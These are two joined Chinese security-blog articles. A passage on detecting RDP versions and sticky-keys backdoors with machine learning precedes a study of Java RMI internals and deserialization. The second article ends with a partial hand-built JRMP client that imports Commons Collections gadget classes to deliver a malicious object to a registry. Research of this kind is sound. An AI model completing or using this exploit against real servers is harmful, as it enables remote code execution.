通过尝试，最后我们确定了一个比较合理的截图逻辑：建立链接后，每接收一张图片并绘制后，将当前时间记录为最后绘制时间，并且使用一个独立的线程每隔一定时间检查最后绘制时间与当前时间的时间差，如果时间差超过某个值，则认为当前画面已经稳定，可以进行下一步操作（如截图、发送按键触发后续事件），如果需要触发事件后截图，则使用相同的逻辑判断画面是否稳定，然后再次截图。这样的截图流程符合实际操作逻辑，后续可以通过其他手段判断链接质量，并动态调整等待时间，最终获得比较稳定的截图效果。
##### Windows版本检测
Windows Server的主流版本大致分为这么5个版本，Windows 7、Windows Server 2003、Windows Server
2008 R[1|2]、Windows Server 2012 R2、Windows 10，从我们在shodan的采样数据数据来看，除了Windows
10非常少之外，开3389的基本上就4个主流版本，所以本文将重点以这4个版本为主。
我们先来几张RDP登录界面的图片
Windows Server 2012 R2
Windows Server 2008 R2
Windows Server 2003
从上面几张图片标红的部分我们大致可以看到RDP的版本标识主要出现的位置在两个地方，所以我们的版本识别主要分为两种，Windows 2003
及以上版本，然后针对这两种类型的关键位置（标红部分）进行图片裁剪进行训练，当然有人可能说了其实不用裁剪直接来训练也行，这种办法不是说不行，只不过在处理效率上有点低，除了标红位置之外的地方主要占了整个图片的80%左右，如果整张图进行训练，在特征提取的时候你的维度就会特别大，而且这这部分基本上不会有变化。
按照关键位置剪切图片后，图片非常小，效果如下
处理完之后其实对于2003来说就是个二分类问题，即是不是2003版本，对于2003以上版本就是个多分类问题，这里主要是区分图片里面的关键元素，一般在实际处理的时候可以不用考虑图片的颜色，即将图片二值化，然后根据图片的`Length*Width`来作为特征向量的维度，用0和1表示黑白两种颜色，这样就可以将图片转换为可以用于计算的数学上的值，当然如果你直接用ocr去识别图片中的文字，当然也是可以的，不过效率和效果很一般，为了提高效率和识别效果我们采用Scikit-learn中的SVM算法来进行有监督的学习，这样在工程化的时候也比较好嵌入到我们已有的项目中。
整体的识别流程如下：
训练样本大家可以从shodan上去提取，然后截图之后手工分类下，按照如下文件夹的形式存放样本图片
由于有监督学习需要给每个样本打上标签，所以这里我们用数值来标识不同的操作系统版本，映射关系如下：
针对2003的系统需要注意下，这里是二分类，需要一些负样本进行训练对应图中的200300和200301，特征提取关键代码如下：
最后会在traindata里面产生两个文件
每条数据最后一列表示对应的标签
训练这块直接用Scikit-Learn 中的svm算法进行训练即可，关于SVM具体的算法原理这里不做介绍，网上有更专业的paper来进行介绍。
训练部分的代码如下
我们将测试集分为两组，80%作为训练，20%作为测试，目前就版本检测来说，准确接近100%，看以下4个版本例子
一条龙效果：
##### RDP后门检测
上面简单介绍了下RDP版本识别的一些内容，那么接下来将介绍下本文的重点内容，RDP版本识别实现的方式也比较多，而且效果比较好，利用的分析模型也都是大家平时都了解的。
关于RDP后门的识别，本文主要以shift后门为例，其它的放大镜之类的和shift原理类似.
我们从shodan上面的采样的结果来看，shift后门主要的几种形式，如下图
所以这里面面临的问题就是shift后门位置不固定，大小不一样，颜色不一样，不同版本的弹框也不一样。所以用图像识别、固定位置截图识别，或者说将图片二值化后看黑白区域所占的比例（cmd框黑色占比比较大），包括利用之前的SVM进行标记训练，都是不行的，识别效果太差了，例如shift框位置稍微变动下、大小稍微变动下，识别准确率就非常低。
在我们经过一段时间的调研之后，发现目标检测算法（Object Detection）比较适用于我们当前的项目，目标识别的算法主要有R-CNN、Faster-R-CNN、YOLO等，这个算法目前以被tensorflow、keras、Caffe等框架实现，关于目标检测算法的原理之类的，建议大家先从卷积神经网络（CNN）去看相关paper，本文也只是目标检测算法在安全上的一些应用的探索。
综合几个方面的因素，我们选择了YOLO-V2来进行样本训练和识别（目前最新版本是YOLO-V3，但是测试的时候老是有GPU内存不足的问题，调整了训练的batch_size还是不行，所以就回退到V2），YOLO主要是做目标识别以及实时图像目标识别，由于YOLO
是属于深度学习的范畴，最好你要有GPU的计算环境，否则用CPU来训练的时候会非常慢。
YOLO的使用大家可以参考作者的博客<https://pjreddie.com/darknet/>
，这里有相关的原理Paper，当然还有一些训练好的模型可以直接用，安装过程就不详细解释了，包括GPU环境的编译，作者博客上都有详细的说明，YOLO是一个目标检测框架，作者提供了两种类型（PASCAL
VOC、COCO）的数据集来进行模型的训练，我们可以根据这两种类型来定制自己的数据集来训练自己的模型，本文采用PASCAL
VOC2007类型来指定自己的数据集，PASCAL VOC2007数据集的目录结构如下：
**JPEGImages：** 包含了PASCAL VOC所提供的所有的图片信息。
**Annotations：** 存放对应图片的xml格式的标签文件。
**ImageSets：** 主要是Main目录下txt文件，存储训练样本的文件名（不带后缀）。
**Labels：** 标记样本的类型等信息。
其它文件夹在YOLO中没有使用，感兴趣的自己去查下。
首先我们将shift后门的样本放在JPEGImages目录，按照如下编号进行保存
图片标记使用<https://github.com/tzutalin/labelImg>
，然后对每张图片进行标记，我们目前只有两个分类：normal_shift、shift_backdoor，例如
按照类似的方法将所有样本进行标记，然后用voc_label.py
将标记好的xml信息转换成相应格式的文件即可，这里这个工具在标注的xml文件中可能会出现width和height为0的情况，需要在标注后统一修正下图片的大小。
修改YOLO的训练的参数，这里主要涉及YOLO的三个文件cfg/voc.data、cfg/tiny-yolo-voc.cfg、data/voc.names，具体的参数信息大家可以根据自己的类别来设置，这里以两个类别为例子。
所有数据都准备好之后，我们就可以开始进行训练，先看看装备
注：训练的初始权重可以在作者博客进行下载。
./darknet detector train cfg/voc.data cfg/tiny-yolo-voc.cfg darknet19_448.conv.23 -gpus 0,1,2,3
大约几个小时之后（CPU的话大概1周左右，看性能），经过40000多次迭代直至收敛，在backup目录下面会生成最终的权重文件：tiny-yolo-voc_final.weights，至此整个过程的标注和训练工作已经完成。
识别的话我们项目用的是python，这里直接用 pip install darknetpy ，然后将最终的权重文件以及相关的配置文件按照要求正常调用就行了。
我们看看最终效果：
我们用于训练的图片大小是800 _600，我们这里用2048_ 768的图片来进行识别看看准确率如何。
当然识别率这块还有很多可以提高的地方，比如训练的样本集、图片的进一步处理等。
##### RDP版本、后门全国分布
我们对中国互联网侧暴露的130w（数据来源：<https://opendata.rapid7.com/sonar.tcp/>
）开放3389端口的IP进行了分析，确定Windows开放远程桌面的服务器大约为31W左右，通过对这31W的数据进行了分析研究，得出以下结论：
通过对31W开放的Windows远程桌面服务器进行分析识别，发现了4500+ Shift后门，具体的shift后门分布如下：
其中广东、江苏、北京、浙江、上海、山东是重灾区，具体数量如下：
#### 总结
Windows RDP 的后门变种是非常多的，本文提供的检测方式只是最基础的一种，这些后门也只是冰山一角。
对于那些非常隐蔽的后门的检测我们还在探索之中，作为一个服务于广大客户的厂商来说，大规模、自动化的安全检测还有很长一段路需要走，接下来我们也会结合新的技术去探索更具挑战的威胁检测。
当然如果你愿意同我们一起进行安全技术的研究和探索，请发送简历到 [email protected]，我们期望你的加入。
#### 参考链接
* <https://pjreddie.com/darknet/yolo/>
* <https://github.com/citronneur/rdpy>
* <https://github.com/tzutalin/labelImg>
* <https://github.com/rbgirshick/py-faster-rcnn>
* <https://opendata.rapid7.com/sonar.tcp/>
* * *
_本文经安全客授权发布，转载请联系安全客平台。_
* * * | 社区文章 |
# RMI 工作原理及反序列化知识学习
## **前言**
把 `RMI` 通信过程 `debug` 了一下，简单记录一下。
准备环境：`Jdk7u21`、`Jdk8u121`、`IDEA Java`
## **RMI 服务搭建**
`RMI` 的本质是通过 `socket` 编程、`Java` 序列化和反序列化、动态代理等实现的。
`RMI` 涉及注册中心、服务端和客户端。搭建一个 `RMI` 服务测试一下：
1、创建远程方法接口
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IService extends Remote {
public String queryName(String no) throws RemoteException;
}
2、创建远程方法接口实现类
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class ServiceImpl extends UnicastRemoteObject implements IService {
public ServiceImpl() throws RemoteException {
}
@Override
public String queryName(String no) throws RemoteException {
//方法的具体实现
System.out.println("hello "+ no);
return String.valueOf(System.currentTimeMillis());
}
}
3、创建注册中心，启动 `RMI` 的注册服务
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class register {
public static void main(String[] args) {
Registry registry = null;
try {
registry = LocateRegistry.createRegistry(1099);
} catch (RemoteException e) {
e.printStackTrace();
}
while (true);
}
}
4、服务端
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) {
Registry registry = null;
try {
registry = LocateRegistry.getRegistry("127.0.0.1",1099);
ServiceImpl service = new ServiceImpl();
registry.bind("vince",service);
} catch (Exception e) {
e.printStackTrace();
}
}
}
5、客户端
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) {
Registry registry = null;
try {
registry = LocateRegistry.getRegistry("127.0.0.1",1099);
IService service = (IService) registry.lookup("vince");
String result = service.queryName("jack");
System.out.println("result from remote : "+result);
} catch (RemoteException e) {
e.printStackTrace();
} catch (NotBoundException e) {
e.printStackTrace();
}
}
}
首先启动注册服务，然后执行服务端，最后执行客户端。可以发现客户端能够成功调用服务端上的方法，实现远程方法调用。
## **通信分析**
1、启动注册服务
LocateRegistry.createRegistry(1099);
主要涉及类：
\java\rmi\registry\LocateRegistry.java
\sun\rmi\registry\RegistryImpl.class // 根据端口生成 LiveRef、UnicastServerRef 对象，并调用 setup 方法
\sun\rmi\server\UnicastServerRef.class // 存储封装的 LiveRef 对象,创建 Skeleton 对象
\sun\rmi\server\UnicastRef.class // 存储封装的 LiveRef 对象,远程方法调用时通过此类 invoke 方法调用并获取结果
\sun\rmi\transport\LiveRef.class // 存储封装的 ObjID 对象和 TCPEndpoint 对象信息
\sun\rmi\transport\tcp\TCPEndpoint.class // 存储 host、port、csf、ssf 等信息
\sun\rmi\transport\tcp\TCPTransport.class // ServerSocket 多线程获取连接并处理请求
\sun\rmi\registry\RegistryImpl_Skel.class // 根据 TCPTransport 连接请求调用 dispatch 方法做相应的处理
\sun\rmi\registry\RegistryImpl_Stub.class // LocateRegistry.createRegistry(1099); 返回对象，调用 bind、list、lookup 等方法
注册服务主要部分是 `listen` 方法多线程处理请求部分，所以直接看
`\sun\rmi\transport\tcp\TCPTransport.class` 类
private class AcceptLoop implements Runnable {
private final ServerSocket serverSocket;
private long lastExceptionTime = 0L;
private int recentExceptionCount;
AcceptLoop(ServerSocket var2) {
this.serverSocket = var2;
}
public void run() {
try {
this.executeAcceptLoop();
} finally {
...
}
}
private void executeAcceptLoop() {
...
while(true) {
Socket var1 = null;
try {
var1 = this.serverSocket.accept(); // 从连接队列中取出一个连接请求
InetAddress var16 = var1.getInetAddress(); // 获取本地地址
String var3 = var16 != null ? var16.getHostAddress() : "0.0.0.0"; // 得到 IP 地址
try {
TCPTransport.connectionThreadPool.execute(TCPTransport.this.new ConnectionHandler(var1, var3)); // 调用 ConnectionHandler 类的 run0 方法对请求做处理
} catch (RejectedExecutionException var11) {
...
}
} catch (Throwable var15) {
...
}
}
}
}
2、服务端
分为两步
第一步，调用 `LocateRegistry` 类的 `getRegistry` 方法获取代理对象，最终得到 `RegistryImpl_Stub` 对象。
LocateRegistry.getRegistry("127.0.0.1",1099);
// 调用 LocateRegistry 类的 getRegistry 方法
public static Registry getRegistry(String host, int port)
throws RemoteException
{
return getRegistry(host, port, null); // 调用本类 getRegistry 方法
}
public static Registry getRegistry(String host, int port,
RMIClientSocketFactory csf)
throws RemoteException
{
Registry registry = null;
if (port <= 0)
port = Registry.REGISTRY_PORT; // 当 port 小于等于 0 时，使用默认的 1099 端口为 port 值
if (host == null || host.length() == 0) { // 当 host 为 null 或长度为 0 时，获取本地地址作为 host 值
try {
host = java.net.InetAddress.getLocalHost().getHostAddress();
} catch (Exception e) {
host = "";
}
}
LiveRef liveRef =
new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false); // 创建 TCPEndpoint、ObjID、LiveRef 对象
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef); // csf 为 null 时创建 UnicastRef 对象，否则创建 UnicastRef2 对象
return (Registry) Util.createProxy(RegistryImpl.class, ref, false); // 使用工具类创建代理对象，最终得到的是一个 RegistryImpl_Stub 对象，ref 字段值为 上一步的 ref 对象
}
第二步，调用第一步得到的 `RegistryImpl_Stub` 对象的 `bind` 方法
public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
try {
RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L); // 调用 TCPChannel 类的 createConnection 方法创建 socket 连接和注册服务通信，两端进行通信，调用响应的方法处理。
try {
ObjectOutput var4 = var3.getOutputStream();
var4.writeObject(var1); // 写入 bind 方法的第一个序列化参数值
var4.writeObject(var2); // 写入 bind 方法的第二个序列化参数值
} catch (IOException var5) {
throw new MarshalException("error marshalling arguments", var5);
}
super.ref.invoke(var3);
super.ref.done(var3);
}
...
}
sun.rmi.transport.tcp.TCPChannel.class
private Connection createConnection() throws RemoteException {
TCPTransport.tcpLog.log(Log.BRIEF, "create connection");
TCPConnection var1;
if (!this.usingMultiplexer) {
Socket var2 = this.ep.newSocket(); // 创建 socket 连接，
var1 = new TCPConnection(this, var2);
try {
DataOutputStream var3 = new DataOutputStream(var1.getOutputStream());
this.writeTransportHeader(var3); // 首先写入传输的 Header 值，一个 Int 值 1246907721 和一个 Short 值 2
if (!var1.isReusable()) { // 当 var1 不为 null 并且可向上转换为 RMISocketInfo 对象时，调用 isReusable 方法，获取返回值，否则直接返回 true。 如：当 var1 为 HttpSendSocket 类对象时，会调用 isReusable 方法返回 false
var3.writeByte(76);
} else {
var3.writeByte(75); // 写入 Byte 值 75
var3.flush(); // 刷新数据流
int var4 = 0;
try {
var4 = var2.getSoTimeout();
var2.setSoTimeout(handshakeTimeout);
} catch (Exception var15) {
;
}
DataInputStream var5 = new DataInputStream(var1.getInputStream());
byte var6 = var5.readByte(); // 读取一个 Byte 值
if (var6 != 78) { // 当 Byte 值为 78 时，抛出异常
throw new ConnectIOException(var6 == 79 ? "JRMP StreamProtocol not supported by server" : "non-JRMP server at remote endpoint");
}
String var7 = var5.readUTF(); // 读取一个 UTF 值，socket 连接本地 ip 地址
int var8 = var5.readInt(); // 读取一个 Int 值，socket 连接本地 port 端口值
if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
TCPTransport.tcpLog.log(Log.VERBOSE, "server suggested " + var7 + ":" + var8);
}
TCPEndpoint.setLocalHost(var7);
TCPEndpoint var9 = TCPEndpoint.getLocalEndpoint(0, (RMIClientSocketFactory)null, (RMIServerSocketFactory)null);
var3.writeUTF(var9.getHost()); // 写入远程 host 值
var3.writeInt(var9.getPort()); // 写入远程 port 值
if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
TCPTransport.tcpLog.log(Log.VERBOSE, "using " + var9.getHost() + ":" + var9.getPort());
}
try {
var2.setSoTimeout(var4 != 0 ? var4 : responseTimeout);
} catch (Exception var14) {
;
}
var3.flush(); // 刷新数据流
}
} catch (IOException var16) {
...
}
} else {
...
}
return var1;
}
// 然后 \sun\rmi\server\UnicastRef.class newCall 方法创建 StreamRemoteCall 对象
public StreamRemoteCall(Connection var1, ObjID var2, int var3, long var4) throws RemoteException {
try {
this.conn = var1;
Transport.transportLog.log(Log.VERBOSE, "write remote call header...");
this.conn.getOutputStream().write(80); // 写入 80
this.getOutputStream();
var2.write(this.out); // 调用 ObjID 和 UID 的 write 方法写入相应的值
this.out.writeInt(var3); // 写入 0
this.out.writeLong(var4); // 写入 4905912898345647071L
} catch (IOException var7) {
throw new MarshalException("Error marshaling call header", var7);
}
}
然后看一下 1 中注册中心 `ConnectionHandler` 类的 `run0` 方法。对照一下服务端的 `socket` 连接通信。
private void run0() {
TCPEndpoint var1 = TCPTransport.this.getEndpoint();
int var2 = var1.getPort();
TCPTransport.threadConnectionHandler.set(this);
try {
this.socket.setTcpNoDelay(true);
} catch (Exception var31) {
;
}
try {
if (TCPTransport.connectionReadTimeout > 0) {
this.socket.setSoTimeout(TCPTransport.connectionReadTimeout);
}
} catch (Exception var30) {
;
}
try {
InputStream var3 = this.socket.getInputStream(); // 获取 socket 输入流
Object var4 = var3.markSupported() ? var3 : new BufferedInputStream(var3); // 判断输入流是否支持
((InputStream)var4).mark(4);
DataInputStream var5 = new DataInputStream((InputStream)var4);
int var6 = var5.readInt(); // 获取一个 Int 值，由服务端 socket 通信知道，值为 1246907721
if (var6 == 1347375956) {
TCPTransport.tcpLog.log(Log.BRIEF, "decoding HTTP-wrapped call");
((InputStream)var4).reset();
try {
this.socket = new HttpReceiveSocket(this.socket, (InputStream)var4, (OutputStream)null);
this.remoteHost = "0.0.0.0";
var3 = this.socket.getInputStream();
var4 = new BufferedInputStream(var3);
var5 = new DataInputStream((InputStream)var4);
var6 = var5.readInt();
} catch (IOException var29) {
throw new RemoteException("Error HTTP-unwrapping call", var29);
}
}
short var7 = var5.readShort(); // 获取一个 Short 值，由服务端 socket 通信知道，值为 2
if (var6 == 1246907721 && var7 == 2) {
OutputStream var8 = this.socket.getOutputStream(); // 获取 socket 的输出流
BufferedOutputStream var9 = new BufferedOutputStream(var8);
DataOutputStream var10 = new DataOutputStream(var9);
int var11 = this.socket.getPort();
if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {
TCPTransport.tcpLog.log(Log.BRIEF, "accepted socket from [" + this.remoteHost + ":" + var11 + "]");
}
byte var15 = var5.readByte(); // 获取一个 Byte 值，由服务端 socket 通信知道，值为 75
TCPEndpoint var12;
TCPChannel var13;
TCPConnection var14;
switch(var15) {
case 75:
var10.writeByte(78); // socket 输出流中写入一个 Byte 值 78。（服务端获取值为 78，所以不会抛出异常）
if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
TCPTransport.tcpLog.log(Log.VERBOSE, "(port " + var2 + ") " + "suggesting " + this.remoteHost + ":" + var11);
}
var10.writeUTF(this.remoteHost); // socket 输出流中写入远程 host 值
var10.writeInt(var11); // socket 输出流中写入远程 post 值
var10.flush();
String var16 = var5.readUTF(); // 获取一个 UTF 值
int var17 = var5.readInt(); // 获取一个 Int 值
if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
TCPTransport.tcpLog.log(Log.VERBOSE, "(port " + var2 + ") client using " + var16 + ":" + var17);
}
var12 = new TCPEndpoint(this.remoteHost, this.socket.getLocalPort(), var1.getClientSocketFactory(), var1.getServerSocketFactory());
var13 = new TCPChannel(TCPTransport.this, var12);
var14 = new TCPConnection(var13, this.socket, (InputStream)var4, var9);
TCPTransport.this.handleMessages(var14, true); // 调用 TCPTransport 类的 handleMessages 方法继续做处理
return;
...
}
}
TCPTransport.closeSocket(this.socket);
} catch (IOException var32) {
TCPTransport.tcpLog.log(Log.BRIEF, "terminated with exception:", var32);
return;
} finally {
TCPTransport.closeSocket(this.socket);
}
}
void handleMessages(Connection var1, boolean var2) {
int var3 = this.getEndpoint().getPort();
try {
DataInputStream var4 = new DataInputStream(var1.getInputStream());
do {
int var5 = var4.read(); // 获取一个值，由服务端知道值为 80
if (var5 == -1) {
if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF, "(port " + var3 + ") connection closed");
}
return;
}
if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF, "(port " + var3 + ") op = " + var5);
}
switch(var5) {
case 80:
StreamRemoteCall var6 = new StreamRemoteCall(var1); // 创建 StreamRemoteCall 对象
if (!this.serviceCall(var6)) { // 调用本类 serviceCall 方法，大致为读取数据创建 ObjID 对象，然后获取 dispatcher，调用对应类的 dispatch 方法（dispatcher 类为 sun.rmi.registry.RegistryImpl_Skel）
return;
}
break;
...
}
} while(var2);
} catch (IOException var17) {
if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF, "(port " + var3 + ") exception: ", var17);
}
} finally {
try {
var1.close();
} catch (IOException var16) {
;
}
}
public boolean serviceCall(final RemoteCall var1) {
try {
ObjID var40;
try {
var40 = ObjID.read(var1.getInputStream()); // 获取输入，创建 ObjID 对象
} catch (IOException var34) {
throw new MarshalException("unable to read objID", var34);
}
Transport var41 = var40.equals(dgcID) ? null : this;
Target var5 = ObjectTable.getTarget(new ObjectEndpoint(var40, var41));
final Remote var38;
if (var5 != null && (var38 = var5.getImpl()) != null) {
final Dispatcher var6 = var5.getDispatcher();
var5.incrementCallCount();
boolean var8;
try {
transportLog.log(Log.VERBOSE, "call dispatcher");
final AccessControlContext var7 = var5.getAccessControlContext();
ClassLoader var42 = var5.getContextClassLoader();
Thread var9 = Thread.currentThread();
ClassLoader var10 = var9.getContextClassLoader();
try {
var9.setContextClassLoader(var42);
currentTransport.set(this);
try {
AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
public Void run() throws IOException {
Transport.this.checkAcceptPermission(var7);
var6.dispatch(var38, var1); // 调用 \sun\rmi\server\UnicastServerRef.class 类的 dispatch 方法,最终调用 sun.rmi.registry.RegistryImpl_Skel 类的 dispatch 方法
return null;
}
}, var7);
return true;
} catch (PrivilegedActionException var32) {
throw (IOException)var32.getException();
}
}
...
}
return true;
}
sun.rmi.registry.RegistryImpl_Skel.class
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch(var3) {
case 0: // 服务端、客户端调用 bind 方法
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var8); // 调用 RegistryImpl 类的 bind 方法为 bindings 字段赋值，会被写入到 WeakRef 中
try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 1: // 服务端、客户端调用 list 方法
var2.releaseInputStream();
String[] var97 = var6.list();
try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
case 2: // 服务端、客户端调用 lookup 方法
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}
var8 = var6.lookup(var7);
try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
case 3: // 服务端、客户端调用 rebind 方法
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}
var6.rebind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
case 4: // 服务端、客户端调用 unbind 方法
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}
var6.unbind(var7);
try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
}
}
}
通过注册中心和服务端的通信可以看到：1、服务端往 `socket` 中写入序列化数据时，注册中心对用 `case` 一定会做反序列化处理；2、注册中心往
`socket` 中写入序列化数据时，服务端也一定会做反序列化处理；得出两个结论：1、我们可以通过不同的方法构造自己的 `socket`
通信；2、如果注册中心为靶机服务，服务端为攻击端，使用原生的 `RMI` 通信会有反被打的可能。
3、客户端
由 2 分析知道，客户端调用 `lookup` 方法时，注册中心会调用 `RegistryImpl_Skel` 类 `dispatch` 方法的
`case` 2 做处理。
// RegistryImpl_Skel 类的 dispatch 方法
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject(); // 得到客户端调用 lookup 方法传入的参数值 "vince"
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}
var8 = var6.lookup(var7); // 返回一个代理对象（调用 RegistryImpl 类的 lookup 方法从 bindings 字段获取 key 为 var7 的 value 值）
try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8); // 数据流中写入代理对象
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
客户端通过 `lookup` 方法返回的代理对象调用远程方法
IService service = (IService) registry.lookup("vince"); // 代理对象
String result = service.queryName("jack"); // 实际调用 RemoteObjectInvocationHandler 类的 invoke 方法
然后客户端新建一个 `socket` 连接和服务端，客户端写入 Int 值 -1 和 Long 值(method 的 hash 值)，服务端在
`\sun\rmi\server\UnicastServerRef.class` 类的 `dispatch` 获取 Int 值和 Long 值做处理。
public void dispatch(Remote var1, RemoteCall var2) throws IOException {
try {
long var4;
ObjectInput var40;
try {
var40 = var2.getInputStream();
int var3 = var40.readInt();
if (var3 >= 0) { // 1、Int 值大于等于 0 时，注册中心处理 bind、lookup 等方法的请求；2、Int值小于 0 时，注册中心处理远程方法调用请求；
if (this.skel != null) {
this.oldDispatch(var1, var2, var3);
return;
}
throw new UnmarshalException("skeleton class not found but required for client version");
}
var4 = var40.readLong();
} catch (Exception var36) {
throw new UnmarshalException("error unmarshalling call header", var36);
}
MarshalInputStream var39 = (MarshalInputStream)var40;
var39.skipDefaultResolveClass();
Method var8 = (Method)this.hashToMethod_Map.get(var4);
if (var8 == null) {
throw new UnmarshalException("unrecognized method hash: method not supported by remote object");
}
this.logCall(var1, var8);
Class[] var9 = var8.getParameterTypes();
Object[] var10 = new Object[var9.length];
try {
this.unmarshalCustomCallData(var40);
for(int var11 = 0; var11 < var9.length; ++var11) {
var10[var11] = unmarshalValue(var9[var11], var40);
}
} catch (IOException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} catch (ClassNotFoundException var34) {
throw new UnmarshalException("error unmarshalling arguments", var34);
} finally {
var2.releaseInputStream();
}
Object var41;
try {
var41 = var8.invoke(var1, var10);
} catch (InvocationTargetException var32) {
throw var32.getTargetException();
}
try {
ObjectOutput var12 = var2.getResultStream(true);
Class var13 = var8.getReturnType();
if (var13 != Void.TYPE) {
marshalValue(var13, var41, var12);
}
} catch (IOException var31) {
throw new MarshalException("error marshalling return", var31);
}
} catch (Throwable var37) {
Object var6 = var37;
this.logCallException(var37);
ObjectOutput var7 = var2.getResultStream(false);
if (var37 instanceof Error) {
var6 = new ServerError("Error occurred in server thread", (Error)var37);
} else if (var37 instanceof RemoteException) {
var6 = new ServerException("RemoteException occurred in server thread", (Exception)var37);
}
if (suppressStackTraces) {
clearStackTraces((Throwable)var6);
}
var7.writeObject(var6);
} finally {
var2.releaseInputStream();
var2.releaseOutputStream();
}
}
通过对源码阅读，对 `RMI` 通信过程有了基本了解。大致流程：服务端调用 `bind` 方法会在注册中心注册服务。客户端首先和注册中心通信，通过
`lookup` 方法从注册服务（存储在 `Hashtable`
中）获取到代理对象，客户端根据代理对象信息和服务端建立新的通信。服务端通过反射执行本地方法将结果返回给客户端。
## **RMI 反序列化**
在源码中可以看到注册中心、服务端、客户端三者之间通信都会涉及序列化传输二进制数据。所以我们可以根据 `RMI`
的通信流程构造自己的请求和靶机通信，也能避免被反打的可能。`ysoserial` 项目中 `JRMPListener` 利用模块正是重写了 `RMI`
通信的逻辑。
依据上面对 `bind` 的流程分析，简单重写了 socket 通信
register 模拟注册中心
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class register {
public static void main(String[] args) {
Registry registry = null;
try {
registry = LocateRegistry.createRegistry(1099);
} catch (RemoteException e) {
e.printStackTrace();
}
while (true);
}
}
simulationRmi 模拟服务端
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.MarshalOutputStream;
import sun.rmi.server.MarshalInputStream;
import sun.rmi.transport.tcp.TCPChannel;
import sun.rmi.transport.tcp.TCPConnection;
import sun.rmi.transport.tcp.TCPEndpoint;
import sun.rmi.transport.tcp.TCPTransport;
import java.io.DataOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.Socket;
import java.rmi.Remote;
import java.rmi.server.RMIClassLoader;
import java.util.HashMap;
import java.util.Map;
public class simulationRmi {
public static void main(String[] args) throws Exception {
Socket socket = new Socket("127.0.0.1", 1099);
DataOutputStream dos = new DataOutputStream(socket.getOutputStream());
dos.writeInt(1246907721);
dos.writeShort(2);
dos.writeByte(75);
dos.flush();
dos.writeUTF("10.10.10.1");
dos.writeInt(0);
dos.flush();
dos.write(80);
ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream());
oos.writeLong(0);
oos.writeInt(0);
oos.writeLong(0);
oos.writeShort(0);
oos.writeInt(0);
oos.writeLong(4905912898345647071L);
oos.flush();
MarOutputStream mos = new MarOutputStream(socket.getOutputStream());
